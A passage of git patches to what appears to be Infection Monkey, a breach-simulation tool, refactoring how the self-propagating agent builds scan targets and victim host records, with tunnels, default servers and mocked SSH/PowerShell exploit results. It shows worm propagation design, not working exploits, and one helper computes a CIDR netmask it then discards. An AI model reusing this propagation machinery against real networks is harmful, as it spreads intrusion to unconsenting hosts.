port_scan_data, fingerprint_data): +def assert_scan_results_no_1(domain, ping_scan_data, port_scan_data, fingerprint_data): + assert domain == "d1" assert ping_scan_data.response_received is True assert ping_scan_data.os == WINDOWS_OS @@ -97,7 +99,9 @@ def assert_fingerprint_results_no_1(fingerprint_data): assert fingerprint_data["SMBFinger"].services["tcp-445"]["name"] == "smb_service_name" -def assert_scan_results_no_3(ping_scan_data, port_scan_data, fingerprint_data): +def assert_scan_results_no_3(domain, ping_scan_data, port_scan_data, fingerprint_data): + assert domain == "d3" + assert ping_scan_data.response_received is True assert ping_scan_data.os == LINUX_OS assert len(port_scan_data.keys()) == 6 @@ -135,8 +139,9 @@ def assert_fingerprint_results_no_3(fingerprint_data): assert fingerprint_data["HTTPFinger"].services["tcp-443"]["data"] == ("SERVER_HEADERS_2", True) -def assert_scan_results_host_down(ip, ping_scan_data, port_scan_data, fingerprint_data): - assert ip not in {"10.0.0.1", "10.0.0.3"} +def assert_scan_results_host_down(address, ping_scan_data, port_scan_data, fingerprint_data): + assert address.ip not in {"10.0.0.1", "10.0.0.3"} + assert address.domain is None assert ping_scan_data.response_received is False assert len(port_scan_data.keys()) == 6 @@ -146,44 +151,49 @@ def assert_scan_results_host_down(ip, ping_scan_data, port_scan_data, fingerprin def test_scan_single_ip(callback, scan_config, stop): - ips = ["10.0.0.1"] + addresses = [NetworkAddress("10.0.0.1", "d1")] ns = IPScanner(MockPuppet(), num_workers=1) - ns.scan(ips, scan_config, callback, stop) + ns.scan(addresses, scan_config, callback, stop) callback.assert_called_once() - (ip, scan_results) = callback.call_args_list[0][0] - assert_scan_results(ip, scan_results) + (address, scan_results) = callback.call_args_list[0][0] + assert_scan_results(address, scan_results) def test_scan_multiple_ips(callback, scan_config, stop): - ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] + addresses = [ + NetworkAddress("10.0.0.1", "d1"), + NetworkAddress("10.0.0.2", None), + NetworkAddress("10.0.0.3", "d3"), + NetworkAddress("10.0.0.4", None), + ] ns = IPScanner(MockPuppet(), num_workers=4) - ns.scan(ips, scan_config, callback, stop) + ns.scan(addresses, scan_config, callback, stop) assert callback.call_count == 4 - (ip, scan_results) = callback.call_args_list[0][0] - assert_scan_results(ip, scan_results) + (address, scan_results) = callback.call_args_list[0][0] + assert_scan_results(address, scan_results) - (ip, scan_results) = callback.call_args_list[1][0] - assert_scan_results(ip, scan_results) + (address, scan_results) = callback.call_args_list[1][0] + assert_scan_results(address, scan_results) - (ip, scan_results) = callback.call_args_list[2][0] - assert_scan_results(ip, scan_results) + (address, scan_results) = callback.call_args_list[2][0] + assert_scan_results(address, scan_results) - (ip, scan_results) = callback.call_args_list[3][0] - assert_scan_results(ip, scan_results) + (address, scan_results) = callback.call_args_list[3][0] + assert_scan_results(address, scan_results) @pytest.mark.slow def test_scan_lots_of_ips(callback, scan_config, stop): - ips = [f"10.0.0.{i}" for i in range(0, 255)] + addresses = [NetworkAddress(f"10.0.0.{i}", None) for i in range(0, 255)] ns = IPScanner(MockPuppet(), num_workers=4) - ns.scan(ips, scan_config, callback, stop) + ns.scan(addresses, scan_config, callback, stop) assert callback.call_count == 255 @@ -199,10 +209,15 @@ def test_stop_after_callback(scan_config, stop): stoppable_callback = MagicMock(side_effect=_callback) - ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] + addresses = [ + NetworkAddress("10.0.0.1", None), + NetworkAddress("10.0.0.2", None), + NetworkAddress("10.0.0.3", None), + NetworkAddress("10.0.0.4", None), + ] ns = IPScanner(MockPuppet(), num_workers=2) - ns.scan(ips, scan_config, stoppable_callback, stop) + ns.scan(addresses, scan_config, stoppable_callback, stop) assert stoppable_callback.call_count == 2 @@ -221,10 +236,15 @@ def test_interrupt_port_scanning(callback, scan_config, stop): puppet = MockPuppet() puppet.scan_tcp_port = MagicMock(side_effect=stoppable_scan_tcp_port) - ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] + addresses = [ + NetworkAddress("10.0.0.1", None), + NetworkAddress("10.0.0.2", None), + NetworkAddress("10.0.0.3", None), + NetworkAddress("10.0.0.4", None), + ] ns = IPScanner(puppet, num_workers=2) - ns.scan(ips, scan_config, callback, stop) + ns.scan(addresses, scan_config, callback, stop) assert puppet.scan_tcp_port.call_count == 2 @@ -243,9 +263,14 @@ def test_interrupt_fingerprinting(callback, scan_config, stop): puppet = MockPuppet() puppet.fingerprint = MagicMock(side_effect=stoppable_fingerprint) - ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] + addresses = [ + NetworkAddress("10.0.0.1", None), + NetworkAddress("10.0.0.2", None), + NetworkAddress("10.0.0.3", None), + NetworkAddress("10.0.0.4", None), + ] ns = IPScanner(puppet, num_workers=2) - ns.scan(ips, scan_config, callback, stop) + ns.scan(addresses, scan_config, callback, stop) assert puppet.fingerprint.call_count == 2 diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index 4dffdf7e8..8fa0204c2 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -1,4 +1,7 @@ from threading import Event +from unittest.mock import MagicMock + +import pytest from infection_monkey.i_puppet import ( ExploiterResultData, @@ -9,6 +12,7 @@ from infection_monkey.i_puppet import ( ) from infection_monkey.master import IPScanResults, Propagator from infection_monkey.model import VictimHostFactory +from infection_monkey.network import NetworkInterface from infection_monkey.telemetry.exploit_telem import ExploitTelem empty_fingerprint_data = FingerprintData(None, None, {}) @@ -83,15 +87,21 @@ dot_3_services = { } -class MockIPScanner: - def scan(self, ips_to_scan, _, results_callback, stop): - for ip in ips_to_scan: - if ip.endswith(".1"): - results_callback(ip, dot_1_scan_results) - elif ip.endswith(".3"): - results_callback(ip, dot_3_scan_results) +@pytest.fixture +def mock_ip_scanner(): + def scan(adresses_to_scan, _, results_callback, stop): + for address in adresses_to_scan: + if address.ip.endswith(".1"): + results_callback(address, dot_1_scan_results) + elif address.ip.endswith(".3"): + results_callback(address, dot_3_scan_results) else: - results_callback(ip, dead_host_scan_results) + results_callback(address, dead_host_scan_results) + + ip_scanner = MagicMock() + ip_scanner.scan = MagicMock(side_effect=scan) + + return ip_scanner class StubExploiter: @@ -101,11 +111,18 @@ class StubExploiter: pass -def test_scan_result_processing(telemetry_messenger_spy): - p = Propagator(telemetry_messenger_spy, MockIPScanner(), StubExploiter(), VictimHostFactory()) +def test_scan_result_processing(telemetry_messenger_spy, mock_ip_scanner): + p = Propagator( + telemetry_messenger_spy, mock_ip_scanner, StubExploiter(), VictimHostFactory(), [] + ) p.propagate( { - "targets": {"subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"]}, + "targets": { + "subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"], + "local_network_scan": False, + "inaccessible_subnets": [], + "blocked_ips": [], + }, "network_scan": {}, # This is empty since MockIPscanner ignores it "exploiters": {}, # This is empty since StubExploiter ignores it }, @@ -141,10 +158,13 @@ class MockExploiter: def exploit_hosts( self, exploiter_config, hosts_to_exploit, results_callback, scan_completed, stop ): + scan_completed.wait() hte = [] for _ in range(0, 2): hte.append(hosts_to_exploit.get()) + assert hosts_to_exploit.empty() + for host in hte: if host.ip_addr.endswith(".1"): results_callback( @@ -157,7 +177,7 @@ class MockExploiter: host, ExploiterResultData(False, {}, {}, "SSH FAILED for .1"), ) - if host.ip_addr.endswith(".2"): + elif host.ip_addr.endswith(".2"): results_callback( "PowerShellExploiter", host, @@ -168,7 +188,7 @@ class MockExploiter: host, ExploiterResultData(False, {}, {}, "SSH FAILED for .2"), ) - if host.ip_addr.endswith(".3"): + elif host.ip_addr.endswith(".3"): results_callback( "PowerShellExploiter", host, @@ -181,11 +201,18 @@ class MockExploiter: ) -def test_exploiter_result_processing(telemetry_messenger_spy): - p = Propagator(telemetry_messenger_spy, MockIPScanner(), MockExploiter(), VictimHostFactory()) +def test_exploiter_result_processing(telemetry_messenger_spy, mock_ip_scanner): + p = Propagator( + telemetry_messenger_spy, mock_ip_scanner, MockExploiter(), VictimHostFactory(), [] + ) p.propagate( { - "targets": {"subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"]}, + "targets": { + "subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"], + "local_network_scan": False, + "inaccessible_subnets": [], + "blocked_ips": [], + }, "network_scan": {}, # This is empty since MockIPscanner ignores it "exploiters": {}, # This is empty since MockExploiter ignores it }, @@ -211,3 +238,48 @@ def test_exploiter_result_processing(telemetry_messenger_spy): assert not data["result"] else: assert data["result"] + + +def test_scan_target_generation(telemetry_messenger_spy, mock_ip_scanner): + local_network_interfaces = [NetworkInterface("10.0.0.9", "/29")] + p = Propagator( + telemetry_messenger_spy, + mock_ip_scanner, + StubExploiter(), + VictimHostFactory(), + local_network_interfaces, + ) + p.propagate( + { + "targets": { + "subnet_scan_list": ["10.0.0.0/29", "172.10.20.30"], + "local_network_scan": True, + "blocked_ips": ["10.0.0.3"], + "inaccessible_subnets": ["10.0.0.128/30", "10.0.0.8/29"], + }, + "network_scan": {}, # This is empty since MockIPscanner ignores it + "exploiters": {}, # This is empty since MockExploiter ignores it + }, + Event(), + ) + expected_ip_scan_list = [ + "10.0.0.0", + "10.0.0.1", + "10.0.0.2", + "10.0.0.4", + "10.0.0.5", + "10.0.0.6", + "10.0.0.8", + "10.0.0.10", + "10.0.0.11", + "10.0.0.12", + "10.0.0.13", + "10.0.0.14", + "10.0.0.128", + "10.0.0.129", + "10.0.0.130", + "172.10.20.30", + ] + + actual_ip_scan_list = [address.ip for address in mock_ip_scanner.scan.call_args_list[0][0][0]] + assert actual_ip_scan_list == expected_ip_scan_list From da3c6a42451f08be6309bf4f014422aab653574b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 13:15:46 -0500 Subject: [PATCH 0226/1110] Agent: Add get_local_network_interfaces() --- monkey/infection_monkey/network/info.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 7f740eeb2..0ebd03a62 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -1,7 +1,9 @@ import itertools import socket import struct +from ipaddress import IPv4Network from random import randint # noqa: DUO102 +from typing import List import netifaces import psutil @@ -9,6 +11,8 @@ import psutil from common.network.network_range import CidrRange from infection_monkey.utils.environment import is_windows_os +from . import NetworkInterface + # Timeout for monkey connections TIMEOUT = 15 LOOPBACK_NAME = b"lo" @@ -18,6 +22,14 @@ RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 +def get_local_network_interfaces() -> List[NetworkInterface]: + for i in get_host_subnets(): + netmask_bits = IPv4Network(f"{i['addr']}/{i['netmask']}", strict=False).prefixlen + cidr_netmask = f"/{netmask_bits}" + + return [NetworkInterface(i["addr"], cidr_netmask) for i in get_host_subnets()] + + def get_host_subnets(): """ Returns a list of subnets visible to host (omitting loopback and auto conf networks) From ddd8a0e53acbafca1a3ed02d58065f3c1725f0f4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 14:03:03 -0500 Subject: [PATCH 0227/1110] Agent: Build an AutomatedMaster in monkey.py --- monkey/infection_monkey/monkey.py | 29 ++++++++++++++++++++++++++--- 1 file changed, 26 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index a2a6381ad..13dd82650 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -4,16 +4,19 @@ import os import subprocess import sys import time +from typing import List import infection_monkey.tunnel as tunnel from common.utils.attack_utils import ScanStatus, UsageEnum from common.version import get_version from infection_monkey.config import GUID, WormConfiguration from infection_monkey.control import ControlClient +from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel -from infection_monkey.master.mock_master import MockMaster -from infection_monkey.model import DELAY_DELETE_CMD +from infection_monkey.model import DELAY_DELETE_CMD, VictimHostFactory +from infection_monkey.network import NetworkInterface from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import get_local_network_interfaces from infection_monkey.puppet.mock_puppet import MockPuppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -35,7 +38,6 @@ logger = logging.getLogger(__name__) class InfectionMonkey: def __init__(self, args): logger.info("Monkey is initializing...") - self._master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) self._singleton = SystemSingleton() self._opts = self._get_arguments(args) # TODO Used in propagation phase to set the default server for the victim @@ -151,8 +153,29 @@ class InfectionMonkey: StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() + local_network_interfaces = InfectionMonkey._get_local_network_interfaces() + + self._build_master(local_network_interfaces) + register_signal_handlers(self._master) + @staticmethod + def _get_local_network_interfaces(): + local_network_interfaces = get_local_network_interfaces() + for i in local_network_interfaces: + logger.debug(f"Found local interface {i.address}{i.netmask}") + + return local_network_interfaces + + def _build_master(self, local_network_interfaces: List[NetworkInterface]): + self._master = AutomatedMaster( + MockPuppet(), + LegacyTelemetryMessengerAdapter(), + VictimHostFactory(), + ControlChannel(self._opts.server, GUID), + local_network_interfaces, + ) + def _is_another_monkey_running(self): return not self._singleton.try_lock() From 29d3cc2aafe0a8d691f427275b98e383522a920b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Dec 2021 18:09:00 +0200 Subject: [PATCH 0228/1110] Agent, UT: Implement VictimHostFactory Implements and unit tests the VictimHostFactory. The factory allows creation of victims based on current network situation of the agent --- monkey/infection_monkey/master/propagator.py | 2 +- .../model/victim_host_factory.py | 57 ++++++++----- monkey/infection_monkey/tunnel.py | 8 +- .../master/test_propagator.py | 33 +++++-- .../model/test_victim_host_factory.py | 85 +++++++++++++++++++ 5 files changed, 152 insertions(+), 33 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index ca6922b37..b3eb7faf9 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -89,7 +89,7 @@ class Propagator: ) def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults): - victim_host = self._victim_host_factory.build_victim_host(address.ip, address.domain) + victim_host = self._victim_host_factory.build_victim_host(address) Propagator._process_ping_scan_results(victim_host, scan_results.ping_scan_data) Propagator._process_tcp_scan_results(victim_host, scan_results.port_scan_data) diff --git a/monkey/infection_monkey/model/victim_host_factory.py b/monkey/infection_monkey/model/victim_host_factory.py index 775bb8baf..09ef8e98e 100644 --- a/monkey/infection_monkey/model/victim_host_factory.py +++ b/monkey/infection_monkey/model/victim_host_factory.py @@ -1,28 +1,45 @@ +import logging +from typing import Optional + from infection_monkey.model import VictimHost +from infection_monkey.network import NetworkAddress +from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.tunnel import MonkeyTunnel + +logger = logging.getLogger(__name__) class VictimHostFactory: - def __init__(self): - pass + def __init__( + self, + tunnel: Optional[MonkeyTunnel], + default_server: Optional[str], + default_port: Optional[str], + on_island: bool, + ): + self.tunnel = tunnel + self.default_server = default_server + self.default_port = default_port + self.on_island = on_island - def build_victim_host(self, ip: str, domain: str): - victim_host = VictimHost(ip, domain) + def build_victim_host(self, network_address: NetworkAddress) -> VictimHost: + victim_host = VictimHost(network_address.ip, network_address.domain) - # TODO: Reimplement the below logic from the old monkey.py - """ - if self._monkey_tunnel: - self._monkey_tunnel.set_tunnel_for_host(machine) - if self._default_server: - if self._network.on_island(self._default_server): - machine.set_default_server( - get_interface_to_target(machine.ip_addr) - + (":" + self._default_server_port if self._default_server_port else "") - ) - else: - machine.set_default_server(self._default_server) - logger.debug( - f"Default server for machine: {machine} set to {machine.default_server}" - ) - """ + if self.tunnel: + victim_host.default_tunnel = self.tunnel.get_tunnel_for_ip(victim_host.ip_addr) + if self.default_server: + if self.on_island: + victim_host.set_default_server( + get_interface_to_target(victim_host.ip_addr) + + (":" + self.default_port if self.default_port else "") + ) + else: + victim_host.set_default_server(self.default_server) + logger.debug( + f"Default server for machine: {victim_host} set to {victim_host.default_server}" + ) + logger.debug( + f"Default tunnel for machine: {victim_host} set to {victim_host.default_tunnel}" + ) return victim_host diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index f39069daf..4aa90e80f 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -4,7 +4,6 @@ import struct import time from threading import Thread -from infection_monkey.model import VictimHost from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port, local_ips from infection_monkey.network.tools import check_tcp_port, get_interface_to_target @@ -188,14 +187,13 @@ class MonkeyTunnel(Thread): proxy.stop() proxy.join() - def set_tunnel_for_host(self, host): - assert isinstance(host, VictimHost) + def get_tunnel_for_ip(self, ip: str): if not self.local_port: return - ip_match = get_interface_to_target(host.ip_addr) - host.default_tunnel = "%s:%d" % (ip_match, self.local_port) + ip_match = get_interface_to_target(ip) + return "%s:%d" % (ip_match, self.local_port) def stop(self): self._stopped = True diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index 8fa0204c2..745e075fa 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -11,9 +11,26 @@ from infection_monkey.i_puppet import ( PortStatus, ) from infection_monkey.master import IPScanResults, Propagator -from infection_monkey.model import VictimHostFactory from infection_monkey.network import NetworkInterface from infection_monkey.telemetry.exploit_telem import ExploitTelem +from infection_monkey.model import VictimHost, VictimHostFactory +from infection_monkey.network import NetworkAddress + + + + +@pytest.fixture +def mock_victim_host_factory(): + class MockVictimHostFactory(VictimHostFactory): + def __init__(self): + pass + + def build_victim_host(self, network_address: NetworkAddress) -> VictimHost: + domain = network_address.domain or "" + return VictimHost(network_address.ip, domain) + + return MockVictimHostFactory() + empty_fingerprint_data = FingerprintData(None, None, {}) @@ -111,9 +128,9 @@ class StubExploiter: pass -def test_scan_result_processing(telemetry_messenger_spy, mock_ip_scanner): +def test_scan_result_processing(telemetry_messenger_spy, mock_ip_scanner, mock_victim_host_factory): p = Propagator( - telemetry_messenger_spy, mock_ip_scanner, StubExploiter(), VictimHostFactory(), [] + telemetry_messenger_spy, mock_ip_scanner, StubExploiter(), mock_victim_host_factory, [] ) p.propagate( { @@ -201,9 +218,11 @@ class MockExploiter: ) -def test_exploiter_result_processing(telemetry_messenger_spy, mock_ip_scanner): +def test_exploiter_result_processing( + telemetry_messenger_spy, mock_ip_scanner, mock_victim_host_factory +): p = Propagator( - telemetry_messenger_spy, mock_ip_scanner, MockExploiter(), VictimHostFactory(), [] + telemetry_messenger_spy, mock_ip_scanner, MockExploiter(), mock_victim_host_factory, [] ) p.propagate( { @@ -240,13 +259,13 @@ def test_exploiter_result_processing(telemetry_messenger_spy, mock_ip_scanner): assert data["result"] -def test_scan_target_generation(telemetry_messenger_spy, mock_ip_scanner): +def test_scan_target_generation(telemetry_messenger_spy, mock_ip_scanner, mock_victim_host_factory): local_network_interfaces = [NetworkInterface("10.0.0.9", "/29")] p = Propagator( telemetry_messenger_spy, mock_ip_scanner, StubExploiter(), - VictimHostFactory(), + mock_victim_host_factory, local_network_interfaces, ) p.propagate( diff --git a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py new file mode 100644 index 000000000..2b5250c8c --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py @@ -0,0 +1,85 @@ +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.model import VictimHostFactory +from infection_monkey.network.scan_target_generator import NetworkAddress + + +@pytest.fixture +def mock_tunnel(): + tunnel = MagicMock() + tunnel.get_tunnel_for_ip = lambda _: "1.2.3.4:1234" + return tunnel + + +@pytest.fixture(autouse=True) +def mock_get_interface_to_target(monkeypatch): + monkeypatch.setattr( + "infection_monkey.model.victim_host_factory.get_interface_to_target", lambda _: "1.1.1.1" + ) + + +def test_factory_no_tunnel(): + factory = VictimHostFactory( + tunnel=None, default_server="192.168.56.1", default_port="5000", on_island=False + ) + network_address = NetworkAddress("192.168.56.2", None) + + victim = factory.build_victim_host(network_address) + + assert victim.default_server == "192.168.56.1" + assert victim.ip_addr == "192.168.56.2" + assert victim.default_tunnel is None + assert victim.domain_name == "" + + +def test_factory_with_tunnel(mock_tunnel): + factory = VictimHostFactory( + tunnel=mock_tunnel, default_server="192.168.56.1", default_port="5000", on_island=False + ) + network_address = NetworkAddress("192.168.56.2", None) + + victim = factory.build_victim_host(network_address) + + assert victim.default_server == "192.168.56.1" + assert victim.ip_addr == "192.168.56.2" + assert victim.default_tunnel == "1.2.3.4:1234" + assert victim.domain_name == "" + + +def test_factory_on_island(mock_tunnel): + factory = VictimHostFactory( + tunnel=mock_tunnel, default_server="192.168.56.1", default_port="99", on_island=True + ) + network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey") + + victim = factory.build_victim_host(network_address) + + assert victim.default_server == "1.1.1.1:99" + assert victim.domain_name == "www.bogus.monkey" + assert victim.ip_addr == "192.168.56.2" + assert victim.default_tunnel == "1.2.3.4:1234" + + +@pytest.mark.parametrize("default_port", ["", None]) +def test_factory_no_port(mock_tunnel, default_port): + factory = VictimHostFactory( + tunnel=mock_tunnel, default_server="192.168.56.1", default_port=default_port, on_island=True + ) + network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey") + + victim = factory.build_victim_host(network_address) + + assert victim.default_server == "1.1.1.1" + + +def test_factory_no_default_server(mock_tunnel): + factory = VictimHostFactory( + tunnel=mock_tunnel, default_server=None, default_port="", on_island=True + ) + network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey") + + victim = factory.build_victim_host(network_address) + + assert victim.default_server is None From 7cb1f761d8592b4d36682edac287369a719e3984 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 13:50:13 -0500 Subject: [PATCH 0229/1110] Agent: Add type hints to VictimHost constructor --- monkey/infection_monkey/model/host.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 892004eb3..4331bcf7e 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -1,5 +1,5 @@ class VictimHost(object): - def __init__(self, ip_addr, domain_name=""): + def __init__(self, ip_addr: str, domain_name: str = ""): self.ip_addr = ip_addr self.domain_name = str(domain_name) self.os = {} From b6f2bab15bdc2d7bf19493aec7c3a26991c9a511 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 13:50:39 -0500 Subject: [PATCH 0230/1110] Agent: Pass str (not None) to VictimHost constructor --- monkey/infection_monkey/model/victim_host_factory.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/model/victim_host_factory.py b/monkey/infection_monkey/model/victim_host_factory.py index 09ef8e98e..358f7ca48 100644 --- a/monkey/infection_monkey/model/victim_host_factory.py +++ b/monkey/infection_monkey/model/victim_host_factory.py @@ -23,7 +23,8 @@ class VictimHostFactory: self.on_island = on_island def build_victim_host(self, network_address: NetworkAddress) -> VictimHost: - victim_host = VictimHost(network_address.ip, network_address.domain) + domain = network_address.domain or "" + victim_host = VictimHost(network_address.ip, domain) if self.tunnel: victim_host.default_tunnel = self.tunnel.get_tunnel_for_ip(victim_host.ip_addr) From b3bc9b2ffa3ac93e02a97fb537916dd8c7240302 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 14:04:41 -0500 Subject: [PATCH 0231/1110] Agent: Refactor build_victim_host() to improve readability --- .../model/victim_host_factory.py | 27 ++++++++++--------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/model/victim_host_factory.py b/monkey/infection_monkey/model/victim_host_factory.py index 358f7ca48..5e49e5ffd 100644 --- a/monkey/infection_monkey/model/victim_host_factory.py +++ b/monkey/infection_monkey/model/victim_host_factory.py @@ -28,19 +28,20 @@ class VictimHostFactory: if self.tunnel: victim_host.default_tunnel = self.tunnel.get_tunnel_for_ip(victim_host.ip_addr) + if self.default_server: - if self.on_island: - victim_host.set_default_server( - get_interface_to_target(victim_host.ip_addr) - + (":" + self.default_port if self.default_port else "") - ) - else: - victim_host.set_default_server(self.default_server) - logger.debug( - f"Default server for machine: {victim_host} set to {victim_host.default_server}" - ) - logger.debug( - f"Default tunnel for machine: {victim_host} set to {victim_host.default_tunnel}" - ) + victim_host.set_default_server(self._get_formatted_default_server(victim_host.ip_addr)) + + logger.debug(f"Default tunnel for {victim_host} set to {victim_host.default_tunnel}") + logger.debug(f"Default server for {victim_host} set to {victim_host.default_server}") return victim_host + + def _get_formatted_default_server(self, ip: str): + if self.on_island: + default_server_port = f":{self.default_port}" if self.default_port else "" + interface = get_interface_to_target(ip) + + return f"{interface}{default_server_port}" + else: + return self.default_server From 18fb4e753352a16e95beae4de0061e217af83eb5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 14:54:55 -0500 Subject: [PATCH 0232/1110] Agent: Add self._default_server to monkey.py --- monkey/infection_monkey/monkey.py | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 13dd82650..50e3bc458 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -40,7 +40,7 @@ class InfectionMonkey: logger.info("Monkey is initializing...") self._singleton = SystemSingleton() self._opts = self._get_arguments(args) - # TODO Used in propagation phase to set the default server for the victim + self._default_server = self._opts.server self._default_server_port = None # TODO used in propogation phase self._monkey_inbound_tunnel = None @@ -54,6 +54,7 @@ class InfectionMonkey: arg_parser.add_argument("-d", "--depth", type=int) opts, _ = arg_parser.parse_known_args(args) InfectionMonkey._log_arguments(opts) + return opts @staticmethod @@ -110,25 +111,24 @@ class InfectionMonkey: def _connect_to_island(self): # Sets island's IP and port for monkey to communicate to - if not self._is_default_server_set(): + if self._current_server_is_set(): + self._default_server = WormConfiguration.current_server + logger.debug("Default server set to: %s" % self._default_server) + else: raise Exception( "Monkey couldn't find server with {} default tunnel.".format(self._opts.tunnel) ) + self._set_default_port() ControlClient.wakeup(parent=self._opts.parent) ControlClient.load_control_config() - def _is_default_server_set(self) -> bool: - """ - Sets the default server for the Monkey to communicate back to. - :return - """ - if not ControlClient.find_server(default_tunnel=self._opts.tunnel): - return False - self._opts.server = WormConfiguration.current_server - logger.debug("default server set to: %s" % self._opts.server) - return True + def _current_server_is_set(self) -> bool: + if ControlClient.find_server(default_tunnel=self._opts.tunnel): + return True + + return False @staticmethod def _is_upgrade_to_64_needed(): @@ -172,7 +172,7 @@ class InfectionMonkey: MockPuppet(), LegacyTelemetryMessengerAdapter(), VictimHostFactory(), - ControlChannel(self._opts.server, GUID), + ControlChannel(self._default_server, GUID), local_network_interfaces, ) @@ -181,7 +181,7 @@ class InfectionMonkey: def _set_default_port(self): try: - self._default_server_port = self._opts.server.split(":")[1] + self._default_server_port = self._default_server.split(":")[1] except KeyError: self._default_server_port = "" From 637053e6cd40270462dd6c11352749ba08abc198 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 15:20:38 -0500 Subject: [PATCH 0233/1110] Agent: Integrate VictimHostFactory with monkey.py --- monkey/infection_monkey/monkey.py | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 50e3bc458..4d57369cf 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -168,14 +168,30 @@ class InfectionMonkey: return local_network_interfaces def _build_master(self, local_network_interfaces: List[NetworkInterface]): + victim_host_factory = self._build_victim_host_factory(local_network_interfaces) + self._master = AutomatedMaster( MockPuppet(), LegacyTelemetryMessengerAdapter(), - VictimHostFactory(), + victim_host_factory, ControlChannel(self._default_server, GUID), local_network_interfaces, ) + def _build_victim_host_factory( + self, local_network_interfaces: List[NetworkInterface] + ) -> VictimHostFactory: + on_island = self._running_on_island(local_network_interfaces) + logger.debug(f"This agent is running on the island: {on_island}") + + return VictimHostFactory( + self._monkey_inbound_tunnel, self._default_server, self._default_server_port, on_island + ) + + def _running_on_island(self, local_network_interfaces: List[NetworkInterface]) -> bool: + server_ip = self._default_server.split(":")[0] + return server_ip in {interface.address for interface in local_network_interfaces} + def _is_another_monkey_running(self): return not self._singleton.try_lock() From 9e127b49ae47a93bf05653f9dda01999feeeb161 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 19:17:05 -0500 Subject: [PATCH 0234/1110] Agent: Get local network interfaces inside _build_master() --- monkey/infection_monkey/monkey.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4d57369cf..e2e3b4253 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -153,9 +153,7 @@ class InfectionMonkey: StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() - 